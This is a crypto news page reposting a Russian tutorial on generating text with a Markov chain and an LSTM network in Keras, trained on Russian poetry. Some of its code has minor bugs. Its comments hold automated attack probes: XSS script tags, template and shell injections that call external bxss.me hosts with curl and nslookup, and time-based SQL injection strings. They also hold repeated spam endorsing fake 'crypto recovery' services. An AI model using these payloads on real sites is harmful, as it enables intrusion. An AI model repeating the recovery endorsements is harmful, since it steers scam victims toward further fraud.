Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Учим нейронную сеть генерировать текст

Автор статьи: Виктория Ляликова

Всем привет!

На волне популярности различных нейросетевых моделей, позволяющих генерировать связный текст, отвечающих на вопросы и позволяющих вести беседы, хотелось бы рассмотреть вопрос о том, а что вообще происходит внутри таких сетей.

Например, мы хотим научить нейронную сеть отличать кошек от собак или может яблоко от апельсина. Тогда мы просто говорим ей, что есть что, и на основе представленных данных, такая нейронная сеть особенным образом находит закономерности и строит самое обычное уравнение, которое в зависимости от подаваемого ей набора данных, пытается классифицировать изображение. Если мы хотим научить сеть предсказывать какие-то значения (погода, курс валют, отток клиентов банка), то мы понимаем, что ей надо предоставить выборку прошлых лет на основе которой она сможет найти закономерности, также сформировать уравнение и спрогнозировать результат.

С генерацией текста фактически тоже самое. Только здесь нейронная сеть учиться предсказывать всего лишь одно слово на основе представленного ей текста. А генерирует текст она по принципу “слово за слово”. По сути, после генерации каждого нового слова, модель просто заново прогоняет через себя весь предыдущий текст вместе с только что написанным дополнением, и выдает новое последующее слово уже с учетом него. В результате получаем связный текст.

Таким образом, в зависимости от того, какой результат мы хотим получить от сети, на тех данных мы и будем ее обучать, например стихотворения, детективы, программирование и так далее. Но конечно генерировать текст можно не только с помощью нейронных сетей.

Генерируем текст с помощью цепей Маркова

Сначала рассмотрим самый простой и наиболее известный генератор - это генератор на основе цепей Маркова. Он будет похож на работу нейросети, но самом деле никаких нейронов там нет, просто есть формулы и таблицы со связями между элементами.

Цепь Маркова - это последовательность событий, где каждое новое событие зависит только от предыдущего и не учитывает все остальные события. Такие алгоритмы изучают какие связи могут быть между словами и потом проходят по этим связям и составляют новый текст. Такой алгоритм не помнит, что было раньше, а смотрит только на предыдущее состояние.

Рассмотрим такую скороговорку:

Саша машет Маше, Маша машет Саше, Маша Саши краше, Саша краше Паши

В теории цепей - это корпус, то есть исходный материал, по которому мы будем составлять взаимосвязи.

Для простоты опустим знаки препинания и большие буквы. Посчитаем сколько раз встречается каждое слово в тексте:

саша - 2
машет - 2
маше - 1
маша - 2
саше - 1
саши - 1
краше -2
паши -1

Мы получили звенья цепи Маркова. Теперь составим пары связанных событий. То есть возьмем одно слово и посмотрим какие события могут идти после него.

саша→(машет, краше).
машет → (маше, саше)
маше→ (маша)
маша →  (машет, саши)
саше → (маша)
саши→ (краше)
краше→ (саша, паши)

Добавим также пары с началом и концом предложения, чтобы алгоритм знал, когда нужно остановиться.

НАЧАЛО → саша
паши→ КОНЕЦ

То есть получается, что когда наш алгоритм дойдет до слов “саша” “машет”, “маша”, “краше” ему придется с какой-то долей вероятности выбрать одно из слов.

Посмотрим как считать эти вероятности. Возьмем пару

краше→ (саша, паши)

При этом “саша” у нас встречается 2 раза, “паши” один раз. А всего вместе эти слова встречаются 3 раза. Получается, что после “краше” вероятность продолжения текста:

словом “саша” - 2\3
словом “паши” - 1\3

В связи с тем, что существуют вероятности, текст в цепях Маркова может каждый раз получаться разным. Алгоритм с разной вероятностью случайным образом идет по разным путям и дает каждый раз новый текст.

Например, такие результаты могут получиться из наших связей.

Саша краше Паши
Саша краше Саша машет Маше Маша Саши краше Паши.
Саша машет Маше Маша машет Саше Маша машет Маше Маша Саши краше Паши

и так далее.

На самом деле серьезные алгоритмы используют не схемы, а матрицы, внутри которых и записаны все вероятности и переходы.

Можно также составлять пары не из одних слов, а из словосочетаний. Можем, например, взять все сочетания из двух слов, которые есть в тексте и составим пары к каждому из них. Это более сложно и ресурсоемко, зато текст получается похожий на человеческий.

Готовим данные

Теперь попробуем генератор цепей Маркова в деле, а для этого нам нужен исходный текст (или корпус). В качестве набора данных возьмем датасет, содержащий стихотворения русских писателей, например, Лермонтова, Пушкина, Маяковского, Фета и т.д. Подключим библиотеки и посмотрим на данные с которыми будем работать:

import numpy as np
df = pd.read_csv('poems.csv')
df=df.dropna()
df.head()

Мы будем работать только с текстом, поэтому будем использовать только столбец “text”. Сначала проведем очистку текста. Для этого объединим все стихотворения в одну строку, а затем приведем текст к нижнему регистру и удалим знаки пунктуации (для упрощения модели), используя регулярные выражения.

# объединяем все поэмы в один текст
combined_text = " ".join(df['text'])
# обработка текста
def preprocess_text(text):
   # перевод в нижний регистр и удаление пунктуации
   text = re.sub(r'[^\w\s]', '', text.lower())
   return text
processed_text = preprocess_text(combined_text)

Реализуем цепь Маркова

После получения обработанного текста, можем приступать к генерации текста. Для этого мы разобьем текст на слова. Все слова, которые стоят рядом, соединим в пары. Далее используя эти пары, составим словарь цепочек, где указано первое слово и все, которые могут идти после него. Потом выберем случайное число для старта, зададим длину текста на выходе и получим результат.

corpus = processed_text.split()
# функция-генератор
def make_pairs(corpus):
   # перебираем все слова в корпусе, кроме последнего
   for i in range(len(corpus) - 1):
       # генерируем новую пару 
       yield (corpus[i], corpus[i + 1])
# вызываем генератор и получаем все пары слов
pairs = make_pairs(corpus)
# словарь, на старте пока пустой
word_dict = {}
# перебираем все слова попарно из списка пар
for word_1, word_2 in pairs:
   # если первое слово уже есть в словаре
   if word_1 in word_dict.keys():
# добавляем второе слово как возможное продолжение 
первого
       word_dict[word_1].append(word_2)
   # если же первого слова у нас в словаре не было
   else:
       # создаём новую запись в словаре и указываем второе слово как продолжение первого
       word_dict[word_1] = [word_2]
# случайно выбираем первое слово для старта
first_word = np.random.choice(corpus)
# делаем наше первое слово первым звеном
chain = [first_word]
# сколько слов будет в готовом тексте
n_words = 30
# делаем цикл с заданным количеством слов
for i in range(n_words):
   # на каждом шаге добавляем следующее слово из словаря, выбирая его случайным образом из доступных вариантов
   chain.append(np.random.choice(word_dict[chain[-1]]))
# выводим результат
print(' '.join(chain))

Смотрим на результат.

23 ноября игумен строгий властелин когда от нашей власти беззаконных ты ищешь круг стань ни разума довольство здравие тебе кураж тресотин сердцем верю чуду опьянена мечта родит земля в роще рассыпался тонкой коркою все как дети в зеленях утонула в спокойствии и к мечте не стоило жить по службе вниманье и

Генерируем текст с помощью нейронной сети

Теперь обратимся к генерации текста с помощью нейронной сети. В поисках информации по данной теме оказалось, что достаточно мало простых и понятных примеров (либо я плохо ищу), на которых можно потренироваться и как-то двигаться дальше в этом направлении. Поэтому примером, который будет рассмотрен ниже, хотелось бы просто наглядно проиллюстрировать, каким образом мы можем заставить нейронную сеть генерировать текст. При этом обращаю внимание, что текст не обязательно должен быть связанным, просто посмотрим, что нам может предложить не сложная нейронная сеть на моем наборе данных. Чтобы получить какой-то приличный результат, для этого нужна очень большая выборка для обучения, много времени, терпения и высокие мощности компьютера.

Рассмотрим сначала такое понятие как n-граммы, которое используется в лингвистике. По сути n-грамма - это последовательность из n элементов (звуков, слогов, слов или символов), идущих в каком-то тексте подряд. На практике чаще имеют в виду ряд слов (реже символов). Последовательность из двух элементов называют биграмма, из трех элементов - триграмма.

Возьмем, например предложение “Мой дядя самых честных правил” и составим из него униграмму, биграмму и триграмму.

Униграмма → (Мой дядя самых честных правил)
Биграмма → (Мой, дядя), (дядя, самых), (самых, честных), (честных правил)
Триграмма → (Мой, дядя, самых) (самых, честных, правил)

Таким образом с помощью n-грамм мы можем предсказывать следующее слово после n-1 слов на основе вероятности их сочетания.

Готовим данные для обучения

Для генерации текста лучше всего подходят LSTM (Long Short Term Memory) нейронные сети. Опираясь на то, что было написано выше про генерацию текста, получается, что наша нейросетевая модель будет учиться предсказывать следующее слово в последовательности столько раз, сколько мы ей скажем, получая таким образом новый текст, обучаясь на том наборе данных, который мы ей предоставим. Данные те же самые, с которыми мы работали с генератором Маркова. Датасет конечно большой и содержит аж 19000 небольших стихотворений (отрывков), но чтобы можно было увидеть результат, я буду использовать только его часть.

После обработки текста, которая была сделана выше, посмотрим на фрагмент текста. Для упрощения модели знаки препинания отсутствуют. Дальнейшие выкладки по преобразованию текста для нейросетевой модели специально буду приводить именно для этого фрагмента, чтобы наглядно продемонстрировать, что происходит.

'на серебряные шпоры\nя в раздумии гляжу\nза тебя скакун мой скорый\nза бока твои дрожу\nнаши предки их не знали\nи гарцуя средь степей\nтолстой плеткой погоняли\nнедоезжаных коней\nно с успехом просвещенья\nвместо грубой старины\nвведены изобретенья\nчужеземной стороны\nв наше время кормят холят\nберегут спинную честь\nпрежде били  нынче колют\nчто же выгодней  бог весть'

Теперь нам надо создать массив с индексами слов, где каждому слову в текстовых данных будет присваиваться уникальный индекс. Для этого будем использовать инструмент Tokenizer библиотеки keras и метод fit_on_texts().

from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences

# Токенизация
tokenizer = Tokenizer()
# подгонка текста
tokenizer.fit_on_texts([processed_text])

И выведем индексы слов, какие получились после токенизации, для фрагмента текста, представленного выше. Это можно сделать с помощью метода word_index.

tokenizer.word_index
{'в': 1,
 'за': 2,
 'на': 3,
 'серебряные': 4,
 'шпоры': 5,
 'я': 6,
 'раздумии': 7,
 'гляжу': 8,
 'тебя': 9,
 'скакун': 10,
 'мой': 11,
 'скорый': 12,
 'бока': 13,
 'твои': 14,
 'дрожу': 15,
 'наши': 16,
 'предки': 17,
 'их': 18,
 'не': 19,
 'знали': 20,
 'и': 21,
 'гарцуя': 22,
 'средь': 23,
 'степей': 24,
.......

Далее нам необходимо перебрать все строки (каждую строку будем рассматривать как отдельное предложение) и создать входные последовательности для нейронной сети путем постепенного добавления токенов (индекса слова). Далее из каждой строки (последовательности) создаем n-грамму последовательностей и добавляем ее в список.

input_sequences = []
for line in processed_text.split('\n'):
	token_list = tokenizer.texts_to_sequences([line])[0]
	for i in range(1, len(token_list)):
    	n_gram_sequence = token_list[:i+1]
    	input_sequences.append(n_gram_sequence)

Результат применения метода text_to_sequences, который переводит текст в последовательность целых чисел путем замены каждого слова на его номер в словаре.

[3, 4, 5]
[6, 1, 7, 8]
[2, 9, 10, 11, 12]
[2, 13, 14, 15]

Исходный текст был

На серебряные шпоры
Я в раздумии гляжу
За тебя скакун мой скорый
За бока твои дрожу
.......

После получения n-грамм посмотрим как выглядит наша последовательность

input_sequences
[[3, 4],
 [3, 4, 5],
 [6, 1],
 [6, 1, 7],
 [6, 1, 7, 8],
 [2, 9],
 [2, 9, 10],
 [2, 9, 10, 11],
 [2, 9, 10, 11, 12],
 [2, 13],
 [2, 13, 14],
 [2, 13, 14, 15]]
.......

То есть сначала в нашей n-грамме 2 слова, а затем мы постепенно добавляем новые слова по одному, каждый раз создавая новые последовательности, пока не закончатся слова в строке. И так поступаем с каждой строкой.

Далее нам необходимо обеспечить одинаковую длину для всех последовательностей, для этого дополним нулями каждую последовательность до максимальной длины. Здесь поможет функция pad_sequences().

max_sequence_len = max([len(x) for x in input_sequences])
input_sequences = np.array(pad_sequences(input_sequences, maxlen=max_sequence_len, padding='pre'))
array([[ 0,  0,  0,  3,  4],
       [ 0,  0,  3,  4,  5],
       [ 0,  0,  0,  6,  1],
       [ 0,  0,  6,  1,  7],
       [ 0,  6,  1,  7,  8],
       [ 0,  0,  0,  2,  9],
       [ 0,  0,  2,  9, 10],
       [ 0,  2,  9, 10, 11],
       [ 2,  9, 10, 11, 12],
       [ 0,  0,  0,  2, 13],
       [ 0,  0,  2, 13, 14],
       [ 0,  2, 13, 14, 15]

Все, выборка для обучения сети готова.

Строим модель

Разделим теперь выборку на вектор признаков X и вектор меток Y. Вектор Х будет содержать дополненные входные последовательности без последнего слова. Вектор меток Y будет содержать последнее слово каждой дополненной последовательности.

x= input_sequences[:,:-1]
labels = input_sequences[:,-1]

Определим размер входного вектора, который будет равен общему количеству уникальных слов в нашем словаре + еще одно слово для учета дополненного слова:

# считаем количество слов
total_words = len(tokenizer.word_index) + 1

Нейронная сеть будет состоять из трех уровней.

Embedding слой, на вход поступает последовательность из количества уникальных слов, на выходе получаем векторы размером 200 для каждого слова во входной последовательности.
LSTM уровень состоит из 150 модулей LSTM.
Dense является полносвязным слоем с функцией активации softmax. Принимает входные данные слоя LSTM и прогнозирует распределение вероятностей по всем словам в словаре, которые равны числу классов.

Общее количество обучаемых параметров составляет 10 668 996 для датасета из 500 отрывков стихотворений.

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Embedding, LSTM, Dense
model = Sequential()
model.add(Embedding(total_words, 200))
model.add(LSTM(150))
model.add(Dense(total_words, activation='softmax'))

Компилируем нейронную сеть, используя оптимизатор Адама и разреженную категориальную кросс-энтропию, так как у нас много классов и чтобы избежать методов преобразования вектора Y в категориальный формат, так как это требует много ресурсов.

model.compile(optimizer='adam',
              	loss='sparse_categorical_crossentropy',
              	metrics=['accuracy'])

Будем обучать модель в течение 100 эпох

history = model.fit(x,labels, epoch=100, verbose=1)

Оцениваем модель

Допустим модель обучена, как мы можем оценить насколько хорошо она может генерировать новый текст. В обработке текстов есть такое понятие как коэффициент неопределенности или перплексия. Перплексия не является метрикой точности или полноты модели, но она помогает определить, насколько хорошо модель может обобщать на новые данные. Чем меньше значение перплексии, тем луше модель. Перплексия - это мера того, насколько хорошо модель может предсказывать последовательности слов, которые не были включены в обучающий набор данных.

Например, если показатель перплексии равен 100, это означает, что когда модели приходится предсказывать следующее слово, это приводит модель в такую же «растерянность», как если бы ей пришлось выбирать одно из 100 слов.

Представим, что мы хотим обучить модель на предсказание следующего слова в предложении "Я люблю есть ...". То есть модель должна выбрать слово, которое наиболее вероятно следует за "есть". Разумно предположить, что модель, которая выберет слово "яблоки", с высокой вероятностью будет иметь более низкую перплексию, чем модель, которая выберет слово "крокодил".

Теперь вопрос, а как рассчитать это показатель перплексии? Если кратко, то для определения перплексии в обработке естественного языка используется такая формула

$H(q) = e^{-\frac{1}{N}\sum_{i=1}^{N} ln q(x_i)}$

q(x_i) - это предсказания сделанные нашей моделью на основании обучающего множества

Создадим функцию для вычисления перплексии:

def calculate_perplexity(model, xs):
	# вычисление вероятностей для каждого слова в последовательности
	predictions = model.predict(xs)
	cross_entropy = 0.0
    
	for i in range(len(predictions)):
    	    cross_entropy += -np.log(np.max(predictions[i]))
	avg_cross_entropy = cross_entropy / len(predictions)
    
	# вычисляем перплексию
	perplexity = np.exp(avg_cross_entropy)
	return perplexity

# вычисляем перплексию для нашей модели
perplexity = calculate_perplexity(model, x)
print("Perplexity:", perplexity)

Генерируем текст

После того, как сеть обучена, посчитана перплексия, можно пробовать генерировать текст. Процесс генерации текста включает в себя токенизацию входного текста и его заполнение в соответствии с входным размером модели для прогнозирования следующего слова. Предсказанное слово добавляется к входному тексту, и процесс повторяется итеративно для создания последовательности слов.

Теперь немного поговорим о том, какой результат мы получаем от сети. У нас большое количество классов, равное числу уникальных слов в нашем наборе данных. И предсказанием сети является вектор, который содержит вероятности для следующего слова, с помощью которых мы и будем выбирать наше предсказание. Мы можем всегда выбирать слово с максимальной вероятностью для получения нового текста, но тогда мы можем получить, что каждый раз будем предсказывать одно и тоже слово и зациклимся на одной фразе. Поэтому мы внесем некоторую случайность в наш генерируемый текст, выбирая новое слово случайным образом из последовательности.

Создаем функцию для генерации текста:

def generate_text(seed_text, model, tokenizer, max_sequence_len, num_words):
	generated_text = seed_text
	for _ in range(num_words):
      # токенизация текста
    	token_list = tokenizer.texts_to_sequences([seed_text])[0]
      # заполнение токенизированной последовательности
    	token_list = pad_sequences([token_list], maxlen=max_sequence_len-1, padding='pre')
     # получаем вероятности предсказаний для каждого слова
    	predictions = model.predict(token_list, verbose=0)
   	 
    	# Получаем индекс для следующего слова, используя случайное слово из распределения вероятностей
    	predicted_index = np.random.choice(len(predictions[0]), p=predictions[0])
   	# Сопоставляем индекс с соответствующим словом
    	output_word = ""
    	for word, index in tokenizer.word_index.items():
        	if index == predicted_index:
            	output_word = word
            	break	 
    	# Добавляем предсказанное слово в сгенерированный текст
    	generated_text += " " + output_word
     	# Обновляем исходный текст
    	seed_text = " ".join(seed_text.split()[1:]) + " " + output_word
    	return generated_text

Для генерации текста в функцию необходимо передать начальный текст, модель обученной нейронной сети, токенизатор и количество слов, которое мы хотим получить в тексте.

# Входной текст
seed_text = "Я любил"
generated_text = generate_text(seed_text, model, tokenizer, max_sequence_len, num_words=35)
print("Generated Text:")

Также мы можем сохранить токенизатор и обученную языковую модель в отдельные файлы:

# сохранение обученной модели
model.save('my_model.h5')
# сохранение токенизатора в файл
with open('tokenizer.pickle', 'wb') as handle:
    pickle.dump(tokenizer, handle, protocol=pickle.HIGHEST_PROTOCOL)

Результаты

После 10 эпох обучения на наборе в 100 отрывков стихотворений:

Perplexity: 7.058923777230348

Generated Text:
Я любил тебя вас ее колют от ушей заслоненный наше очи произнес страстей весло убей моей смелый вечность звучный бой открыл моей бесплодной стук отвагой и ночи седой через печали жалок была смущенный их несет за пшено тревогу.

После 50 эпох обучения на наборе в 100 отрывков стихотворений:

Perplexity: 1.7203394007635984

Generated Text:
Я любил но был под бурей тягостных не излечит горе над озером видал я тебя с душой безнадежной иногда презирая на бале быть проводником к мелькнет на коней будут метель число коня кинул медленно грызет от дневных русский весь в траве почти в тебе доныне как всякий биться рад так вдруг в

После 100 эпох обучения на наборе в 100 отрывков стихотворений:

Perplexity: 1.5875433038328622

Generated Text:
Я любил но был она как смерть темна и видят ктото на влажной взор и вдруг знакомый измаил как она на каменной скале сырой два спокойно родная род и в глубине пещеры своих зачем своих ей или тот на борзом чудной уж забыты сходятся венцом и девы бледные черты его недвижный трон

После 30 эпох обучения на наборе в 500 отрывков

Perplexity: 1.9448061951154562

Generated Text:
Я любил тебя тот рок моей любви не знает но она сама придет но ты не обвиняй страдальца молодого кустов отгоняя светлей мгновенно блеск земля ее язык скрывался я писал с презреньем гордым кинешь за порог и в

После 150 эпох обучения на наборе в 500 отрывков

Perplexity: 1.5106264558327417

Generated Text:
Я любил послушать ни тихих ласк ночных им до два глаз твоей статую иолая и отметил этеокла не глядит и с каждой ветром над тихим висела приближаться страстей между веку скал раздор да хром лгут царей чаще

Да, к сожалению осмысленный текст не появился, но прогресс по мере обучения все равно есть. Конечно, на вход можно подавать и другой текст, на любом языке, менять параметры сети и получать совершенно другие результаты.

Про генерацию текста и другие инструменты и возможности машинного обучения эксперты OTUS рассказывают в рамках практических онлайн-курсов. С полным каталогом курсов можно ознакомиться по ссылке.

Источник

Теги

Категория

Новости

Дата

28 мая 2024 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your 